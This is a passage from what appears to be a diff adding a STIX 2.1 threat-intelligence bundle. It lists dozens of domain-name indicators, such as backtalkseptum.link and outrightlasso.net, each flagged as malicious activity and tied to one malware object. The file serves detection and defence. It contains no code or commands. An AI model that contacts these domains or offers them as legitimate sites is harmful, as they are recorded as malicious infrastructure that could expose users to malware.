"pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.599396Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c2f65a07-0513-44ab-9f06-be63cfc4664f", + "created": "2023-03-29T12:58:44.599986Z", + "modified": "2023-03-29T12:58:44.599986Z", + "relationship_type": "indicates", + "source_ref": "indicator--cd290b4e-a6f2-4ecb-8350-4b2dd30291da", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--761119a3-8360-4bde-85bd-e20baa717ad5", + "created": "2023-03-29T12:58:44.600154Z", + "modified": "2023-03-29T12:58:44.600154Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='backtalkseptum.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.600154Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c599d967-86e9-4727-950a-665461e85965", + "created": "2023-03-29T12:58:44.600749Z", + "modified": "2023-03-29T12:58:44.600749Z", + "relationship_type": "indicates", + "source_ref": "indicator--761119a3-8360-4bde-85bd-e20baa717ad5", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e519e25f-813d-4e11-8f22-a4974b2b107a", + "created": "2023-03-29T12:58:44.600917Z", + "modified": "2023-03-29T12:58:44.600917Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='outrightlasso.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.600917Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9d051534-d3f8-4d6c-8bd5-3195dbd5f968", + "created": "2023-03-29T12:58:44.601504Z", + "modified": "2023-03-29T12:58:44.601504Z", + "relationship_type": "indicates", + "source_ref": "indicator--e519e25f-813d-4e11-8f22-a4974b2b107a", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--70815254-9e33-4a2f-ba21-f4a4b23140f3", + "created": "2023-03-29T12:58:44.601683Z", + "modified": "2023-03-29T12:58:44.601683Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='showdownfrigidly.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.601683Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2e3234cd-b731-41c5-854b-34d30026f69e", + "created": "2023-03-29T12:58:44.60228Z", + "modified": "2023-03-29T12:58:44.60228Z", + "relationship_type": "indicates", + "source_ref": "indicator--70815254-9e33-4a2f-ba21-f4a4b23140f3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6341a913-2a22-4369-a149-aa2f4b244dd7", + "created": "2023-03-29T12:58:44.602449Z", + "modified": "2023-03-29T12:58:44.602449Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mundaneauthor.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.602449Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2f71ff35-10ec-4072-9928-405f43b4c8a7", + "created": "2023-03-29T12:58:44.60317Z", + "modified": "2023-03-29T12:58:44.60317Z", + "relationship_type": "indicates", + "source_ref": "indicator--6341a913-2a22-4369-a149-aa2f4b244dd7", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ed5273e9-7579-432c-9b94-79c9caa69c84", + "created": "2023-03-29T12:58:44.60335Z", + "modified": "2023-03-29T12:58:44.60335Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='turtleanimating.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.60335Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1ab56ced-a649-4e5d-b94e-93fc69416ab2", + "created": "2023-03-29T12:58:44.603949Z", + "modified": "2023-03-29T12:58:44.603949Z", + "relationship_type": "indicates", + "source_ref": "indicator--ed5273e9-7579-432c-9b94-79c9caa69c84", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1241ceb2-7d3f-4c05-9bc5-4d0b8169707c", + "created": "2023-03-29T12:58:44.604116Z", + "modified": "2023-03-29T12:58:44.604116Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='providedunbitten.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.604116Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--79b1f1ac-60ab-4f9b-a72a-9606706870c6", + "created": "2023-03-29T12:58:44.60471Z", + "modified": "2023-03-29T12:58:44.60471Z", + "relationship_type": "indicates", + "source_ref": "indicator--1241ceb2-7d3f-4c05-9bc5-4d0b8169707c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ac0b2c81-a2b0-4997-943c-32e960bd245c", + "created": "2023-03-29T12:58:44.604878Z", + "modified": "2023-03-29T12:58:44.604878Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='resurfacediscount.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.604878Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5e86ce47-bd16-4497-b761-f0aebb6b330c", + "created": "2023-03-29T12:58:44.605478Z", + "modified": "2023-03-29T12:58:44.605478Z", + "relationship_type": "indicates", + "source_ref": "indicator--ac0b2c81-a2b0-4997-943c-32e960bd245c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f34ec094-f518-44c6-a2ed-3bf00c25d212", + "created": "2023-03-29T12:58:44.605652Z", + "modified": "2023-03-29T12:58:44.605652Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mavinstazionaria.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.605652Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--3beb870e-95cd-4efb-a10a-17b9b6810a0b", + "created": "2023-03-29T12:58:44.606248Z", + "modified": "2023-03-29T12:58:44.606248Z", + "relationship_type": "indicates", + "source_ref": "indicator--f34ec094-f518-44c6-a2ed-3bf00c25d212", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0231661e-14da-408a-afdc-22f801eaf7ee", + "created": "2023-03-29T12:58:44.606417Z", + "modified": "2023-03-29T12:58:44.606417Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shorterjuvenile.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.606417Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--98e97284-981e-4cff-9fb4-965fc83e9a0d", + "created": "2023-03-29T12:58:44.607009Z", + "modified": "2023-03-29T12:58:44.607009Z", + "relationship_type": "indicates", + "source_ref": "indicator--0231661e-14da-408a-afdc-22f801eaf7ee", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f54c09b5-9ee4-482f-ad62-a6a803b7dfd3", + "created": "2023-03-29T12:58:44.607177Z", + "modified": "2023-03-29T12:58:44.607177Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='pikiran-rakyaat.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.607177Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2ddba323-f994-4da7-981f-a1c47a479302", + "created": "2023-03-29T12:58:44.607803Z", + "modified": "2023-03-29T12:58:44.607803Z", + "relationship_type": "indicates", + "source_ref": "indicator--f54c09b5-9ee4-482f-ad62-a6a803b7dfd3", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--38ffb852-dde7-4cab-934f-0b0fae09d1ad", + "created": "2023-03-29T12:58:44.607972Z", + "modified": "2023-03-29T12:58:44.607972Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='leverageendorphin.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.607972Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--1e63529d-6464-4bc1-af3b-8fd548905409", + "created": "2023-03-29T12:58:44.608569Z", + "modified": "2023-03-29T12:58:44.608569Z", + "relationship_type": "indicates", + "source_ref": "indicator--38ffb852-dde7-4cab-934f-0b0fae09d1ad", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7ea32ed2-4d30-4573-8eb7-314de15217c1", + "created": "2023-03-29T12:58:44.608738Z", + "modified": "2023-03-29T12:58:44.608738Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='likewiseglazing.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.608738Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a0809cfb-fa06-4f67-981a-d4775add35c6", + "created": "2023-03-29T12:58:44.609337Z", + "modified": "2023-03-29T12:58:44.609337Z", + "relationship_type": "indicates", + "source_ref": "indicator--7ea32ed2-4d30-4573-8eb7-314de15217c1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--965c68b6-8249-494a-9c12-7d892e68784b", + "created": "2023-03-29T12:58:44.609505Z", + "modified": "2023-03-29T12:58:44.609505Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='categorythree.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.609505Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--be8b3d0b-473b-4c3d-a0ba-891febd85346", + "created": "2023-03-29T12:58:44.610472Z", + "modified": "2023-03-29T12:58:44.610472Z", + "relationship_type": "indicates", + "source_ref": "indicator--965c68b6-8249-494a-9c12-7d892e68784b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8a98717c-20f0-4be1-8b13-76868db4a969", + "created": "2023-03-29T12:58:44.610646Z", + "modified": "2023-03-29T12:58:44.610646Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='boogeymanhelping.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.610646Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f5be888a-9afb-4307-8b56-4e745bfcc2f8", + "created": "2023-03-29T12:58:44.611248Z", + "modified": "2023-03-29T12:58:44.611248Z", + "relationship_type": "indicates", + "source_ref": "indicator--8a98717c-20f0-4be1-8b13-76868db4a969", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6e5b1625-c80a-4966-9f21-7b8e6b048d27", + "created": "2023-03-29T12:58:44.611416Z", + "modified": "2023-03-29T12:58:44.611416Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kentecplastics.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.611416Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ea438132-9ab7-453d-ae3f-f971cd7909ad", + "created": "2023-03-29T12:58:44.612026Z", + "modified": "2023-03-29T12:58:44.612026Z", + "relationship_type": "indicates", + "source_ref": "indicator--6e5b1625-c80a-4966-9f21-7b8e6b048d27", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--686489ec-550d-4951-b83d-005906635bf8", + "created": "2023-03-29T12:58:44.612202Z", + "modified": "2023-03-29T12:58:44.612202Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='scientistwannabe.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.612202Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f9e9ab85-1c98-4fd6-b721-a3d31c61aaad", + "created": "2023-03-29T12:58:44.612799Z", + "modified": "2023-03-29T12:58:44.612799Z", + "relationship_type": "indicates", + "source_ref": "indicator--686489ec-550d-4951-b83d-005906635bf8", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1e0e2850-4537-419f-9376-a5056cb77469", + "created": "2023-03-29T12:58:44.612968Z", + "modified": "2023-03-29T12:58:44.612968Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='barberstorable.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.612968Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d65f658b-f8ce-41a9-a3a4-77eae66ea03a", + "created": "2023-03-29T12:58:44.613564Z", + "modified": "2023-03-29T12:58:44.613564Z", + "relationship_type": "indicates", + "source_ref": "indicator--1e0e2850-4537-419f-9376-a5056cb77469", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9134b3ba-ec16-48ae-a7ba-986f7ebef427", + "created": "2023-03-29T12:58:44.613733Z", + "modified": "2023-03-29T12:58:44.613733Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='donorashes.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.613733Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--db73574e-e3b3-4e40-9fe0-ecc85e881647", + "created": "2023-03-29T12:58:44.614321Z", + "modified": "2023-03-29T12:58:44.614321Z", + "relationship_type": "indicates", + "source_ref": "indicator--9134b3ba-ec16-48ae-a7ba-986f7ebef427", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d69eab59-fcb7-441a-8bd2-1af33f7ace79", + "created": "2023-03-29T12:58:44.614489Z", + "modified": "2023-03-29T12:58:44.614489Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='hellochat.pl']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.614489Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f87b05a2-4ab0-43b6-858d-a54cd9ff8858", + "created": "2023-03-29T12:58:44.615068Z", + "modified": "2023-03-29T12:58:44.615068Z", + "relationship_type": "indicates", + "source_ref": "indicator--d69eab59-fcb7-441a-8bd2-1af33f7ace79", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2a5eb91b-1123-486a-9cd3-341ba47fb35f", + "created": "2023-03-29T12:58:44.615234Z", + "modified": "2023-03-29T12:58:44.615234Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='domainonepart.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.615234Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5da1e391-b212-45a3-976e-871a826cc8cf", + "created": "2023-03-29T12:58:44.615824Z", + "modified": "2023-03-29T12:58:44.615824Z", + "relationship_type": "indicates", + "source_ref": "indicator--2a5eb91b-1123-486a-9cd3-341ba47fb35f", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8e5236df-159f-4cdb-8daa-d1ad6a38c302", + "created": "2023-03-29T12:58:44.615992Z", + "modified": "2023-03-29T12:58:44.615992Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='botanicalplayhouse.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.615992Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8fc90ff8-8253-40a7-82b4-bdb99605a0e0", + "created": "2023-03-29T12:58:44.616586Z", + "modified": "2023-03-29T12:58:44.616586Z", + "relationship_type": "indicates", + "source_ref": "indicator--8e5236df-159f-4cdb-8daa-d1ad6a38c302", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fd38716c-06e1-4af9-8d66-81ee718ad3eb", + "created": "2023-03-29T12:58:44.616755Z", + "modified": "2023-03-29T12:58:44.616755Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unhearingunshaven.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.616755Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--eb96df85-7123-44e3-bfe6-2082d76cb155", + "created": "2023-03-29T12:58:44.61735Z", + "modified": "2023-03-29T12:58:44.61735Z", + "relationship_type": "indicates", + "source_ref": "indicator--fd38716c-06e1-4af9-8d66-81ee718ad3eb", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d015edbd-a05b-4105-b513-e66538330319", + "created": "2023-03-29T12:58:44.617517Z", + "modified": "2023-03-29T12:58:44.617517Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='unlightedprism.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.617517Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--34f15d18-7387-48e2-8547-8eddb26d547c", + "created": "2023-03-29T12:58:44.630041Z", + "modified": "2023-03-29T12:58:44.630041Z", + "relationship_type": "indicates", + "source_ref": "indicator--d015edbd-a05b-4105-b513-e66538330319", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--241cc7ab-d4ea-462e-84e2-8d003fac9118", + "created": "2023-03-29T12:58:44.630294Z", + "modified": "2023-03-29T12:58:44.630294Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='winterflavorful.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.630294Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f176c570-4fb7-44bc-8ab2-abd79a485f49", + "created": "2023-03-29T12:58:44.630995Z", + "modified": "2023-03-29T12:58:44.630995Z", + "relationship_type": "indicates", + "source_ref": "indicator--241cc7ab-d4ea-462e-84e2-8d003fac9118", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a70967da-0317-4b84-80c2-05cc5febbd82", + "created": "2023-03-29T12:58:44.631189Z", + "modified": "2023-03-29T12:58:44.631189Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='borroweronslaught.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.631189Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--74b07216-9b23-4ef2-9839-52b53dc2bcf6", + "created": "2023-03-29T12:58:44.631892Z", + "modified": "2023-03-29T12:58:44.631892Z", + "relationship_type": "indicates", + "source_ref": "indicator--a70967da-0317-4b84-80c2-05cc5febbd82", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c15dd2cc-8125-4502-8b2e-9a9f208a25b1", + "created": "2023-03-29T12:58:44.632095Z", + "modified": "2023-03-29T12:58:44.632095Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='percentdebug.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.632095Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--82eb00ce-5749-4844-b93e-dff10991156f", + "created": "2023-03-29T12:58:44.632793Z", + "modified": "2023-03-29T12:58:44.632793Z", + "relationship_type": "indicates", + "source_ref": "indicator--c15dd2cc-8125-4502-8b2e-9a9f208a25b1", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--7c13452c-1c66-4210-96ca-9452b9c7f845", + "created": "2023-03-29T12:58:44.632991Z", + "modified": "2023-03-29T12:58:44.632991Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='dreamyfriday.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.632991Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ed654063-2958-43d4-9b55-be6616159c63", + "created": "2023-03-29T12:58:44.633696Z", + "modified": "2023-03-29T12:58:44.633696Z", + "relationship_type": "indicates", + "source_ref": "indicator--7c13452c-1c66-4210-96ca-9452b9c7f845", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a472ceed-7832-4f77-9e8c-fae4e2d9aa2c", + "created": "2023-03-29T12:58:44.633915Z", + "modified": "2023-03-29T12:58:44.633915Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='infinitysky.in']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.633915Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b4f27f82-fbb2-41c3-a37d-60cfb34ebfc8", + "created": "2023-03-29T12:58:44.634632Z", + "modified": "2023-03-29T12:58:44.634632Z", + "relationship_type": "indicates", + "source_ref": "indicator--a472ceed-7832-4f77-9e8c-fae4e2d9aa2c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fffc6341-c2e2-4805-b45c-d6814fb8012d", + "created": "2023-03-29T12:58:44.634848Z", + "modified": "2023-03-29T12:58:44.634848Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='passwordstarboard.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.634848Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c5d236bc-e2ad-4f35-b88b-ff4805955347", + "created": "2023-03-29T12:58:44.635547Z", + "modified": "2023-03-29T12:58:44.635547Z", + "relationship_type": "indicates", + "source_ref": "indicator--fffc6341-c2e2-4805-b45c-d6814fb8012d", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--42bfa2da-a0e4-41b2-8c56-b040e41ead54", + "created": "2023-03-29T12:58:44.635744Z", + "modified": "2023-03-29T12:58:44.635744Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='etherseldom.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.635744Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--a4961640-897d-469f-9ffc-99570a774ee4", + "created": "2023-03-29T12:58:44.63655Z", + "modified": "2023-03-29T12:58:44.63655Z", + "relationship_type": "indicates", + "source_ref": "indicator--42bfa2da-a0e4-41b2-8c56-b040e41ead54", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9725a4a2-0f5d-40e8-a357-19c680cfa54c", + "created": "2023-03-29T12:58:44.636756Z", + "modified": "2023-03-29T12:58:44.636756Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='risingthunderbird.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.636756Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f351cd01-3e8a-4fa3-bdd2-babdbbf60340", + "created": "2023-03-29T12:58:44.637464Z", + "modified": "2023-03-29T12:58:44.637464Z", + "relationship_type": "indicates", + "source_ref": "indicator--9725a4a2-0f5d-40e8-a357-19c680cfa54c", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--804697e9-318c-48df-a0c0-96a74317ad47", + "created": "2023-03-29T12:58:44.637671Z", + "modified": "2023-03-29T12:58:44.637671Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sindonevs.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.637671Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d66012c0-1803-4d25-9c00-ca614515966d", + "created": "2023-03-29T12:58:44.638365Z", + "modified": "2023-03-29T12:58:44.638365Z", + "relationship_type": "indicates", + "source_ref": "indicator--804697e9-318c-48df-a0c0-96a74317ad47", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--4ba34ea0-1841-4413-a743-0a7750124b9b", + "created": "2023-03-29T12:58:44.638565Z", + "modified": "2023-03-29T12:58:44.638565Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='sufficeconfigure.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.638565Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--039a6265-821b-4a04-b96c-eae138ba5f2d", + "created": "2023-03-29T12:58:44.639261Z", + "modified": "2023-03-29T12:58:44.639261Z", + "relationship_type": "indicates", + "source_ref": "indicator--4ba34ea0-1841-4413-a743-0a7750124b9b", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--b92ee516-5ff5-4c56-9021-26ea55882716", + "created": "2023-03-29T12:58:44.639454Z", + "modified": "2023-03-29T12:58:44.639454Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='peppersmoothies.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.639454Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9d9194bc-8991-489f-9707-9d49f89916cd", + "created": "2023-03-29T12:58:44.640133Z", + "modified": "2023-03-29T12:58:44.640133Z", + "relationship_type": "indicates", + "source_ref": "indicator--b92ee516-5ff5-4c56-9021-26ea55882716", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e843b34b-dc4a-4d35-ab15-be5aa08a67f6", + "created": "2023-03-29T12:58:44.640323Z", + "modified": "2023-03-29T12:58:44.640323Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='platypuspension.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.640323Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c71d4fd7-586e-440c-8e6b-5b1dff22cee1", + "created": "2023-03-29T12:58:44.641005Z", + "modified": "2023-03-29T12:58:44.641005Z", + "relationship_type": "indicates", + "source_ref": "indicator--e843b34b-dc4a-4d35-ab15-be5aa08a67f6", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d83243be-cd7b-4034-8531-38b62d46d345", + "created": "2023-03-29T12:58:44.641198Z", + "modified": "2023-03-29T12:58:44.641198Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ovencraftily.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-03-29T12:58:44.641198Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ec49f325-5ad7-4a31-b8bf-19b920b258dd", + "created": "2023-03-29T12:58:44.641879Z", + "modified": "2023-03-29T12:58:44.641879Z", + "relationship_type": "indicates", + "source_ref": "indicator--d83243be-cd7b-4034-8531-38b62d46d345", + "target_ref": "malware--7ea102c5-2b7e-4088-b102-46691b1b84e5" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c046ce38-98e6-4f65-9a9f-24acef2ab7c1", + "created": "2023-03-29T12:58:44.642072Z", + "modified": "2023-03-29T12:58:44.642072Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='learningstart.net']", + "pattern_type": 